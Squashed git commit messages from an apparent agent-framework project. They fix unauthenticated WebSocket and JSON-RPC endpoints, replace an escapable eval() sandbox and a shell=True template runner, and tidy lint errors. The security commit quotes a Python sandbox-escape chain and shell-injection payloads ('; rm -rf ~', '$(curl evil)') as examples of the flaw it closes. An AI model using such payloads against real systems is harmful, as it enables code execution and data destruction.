Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`AuthMiddleware` is a BaseHTTPMiddleware and never intercepts WebSocket
upgrade requests, so `/v1/chat/stream` and `/v1/agents/events` accepted any
connection — leaking all agent events/message content and allowing
unauthenticated inference even when an API key was configured for HTTP. The
A2A JSON-RPC server likewise dispatched every request without auth.
- Add `websocket_authorized(websocket, expected_key)` (constant-time compare)
and check it in both WS handlers BEFORE `accept()`, closing with code 1008
on failure. Token is read from `?token=` (browsers can't set WS headers) or
an `Authorization: Bearer` header. `create_app` now exposes the key via
`app.state.api_key`; when empty, auth is disabled, matching the HTTP
middleware's local-default behavior (so loopback dev is unchanged).
- A2AServer gains an optional `auth_token`: `handle_request(token=...)`
rejects with JSON-RPC -32001 before dispatch when configured, advertises
`{"schemes": ["bearer"]}` on the agent card, and stays open when unset.
Added `A2AConfig.auth_token`.
Verified empirically against the real mounted endpoints via TestClient: no
token / wrong token are rejected at the handshake (WebSocketDisconnect),
correct token streams normally, and no-key configs still connect freely.
Closes#217
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`python`-action tool templates evaluated expressions with `eval()` under a
restricted `__builtins__`. That sandbox is escapable via attribute walks like
`str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()`
and arbitrary code. `shell`-action templates interpolated parameters into a
string and ran it with `shell=True`, so a value like `; rm -rf ~` or
`$(curl evil)` executed in the host shell.
Fixes:
- Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that
implements an explicit node allowlist — literals, names, arithmetic/boolean/
comparison ops, ternaries, subscripts, container literals, and calls to a
fixed set of builtins only. Attribute access, lambdas, comprehensions, and
dunder names have no implementation and raise `ValueError`, so the escape
vectors are unreachable by construction. No `eval`/`exec` remains.
- Shell action: tokenize the FIXED template with `shlex.split` first, then
substitute params into individual argv elements and run with `shell=False`.
Injected metacharacters become inert literal arguments.
All shipped builtin templates (`str(float(value))`, `str(input) if input
else ...`, etc.) continue to work. Verified empirically: every known escape
payload is rejected and a `; touch <marker>` / `$(touch <marker>)` /
backtick injection never creates the marker file.
Closes#216
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Follow-up on the cherry-picks from @Dilligaf371's #340 and
@bootcrowns's #202. Both fail ruff's E501 (88-char line limit) on
main:
- ``src/openjarvis/agents/executor.py:325`` (from #340) — the
``self._system is not None and getattr(..., "tool_executor", None)
is not None`` guard was 101 chars. Wrapped the condition.
- ``src/openjarvis/telemetry/gpu_monitor.py:55-60`` (from #202) —
five new GPU_SPECS entries (Jetson Orin NX 16GB/8GB, AGX Orin,
Snapdragon X Elite/Plus) were 90-93 chars. Wrapped each
GpuHardwareSpec constructor call onto its own block.
- ``tests/telemetry/test_gpu_monitor.py`` (from #202) — removed a
spurious blank line between imports and the first ``#`` comment
block, picked up by ``ruff check --fix`` (rule I001).
No behavior change — pure formatting.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Lands 5 high-priority contributor PRs as one bundle, with original authorship preserved on every commit, plus follow-up commits from me to make each PR CI-green and non-regressive. See PR #362 for the full per-author commit breakdown and credits.
Credits: @tomaioo (#235), @Dilligaf371 (#339), @TX-Huang (#293, #294, #295).
Andrew Park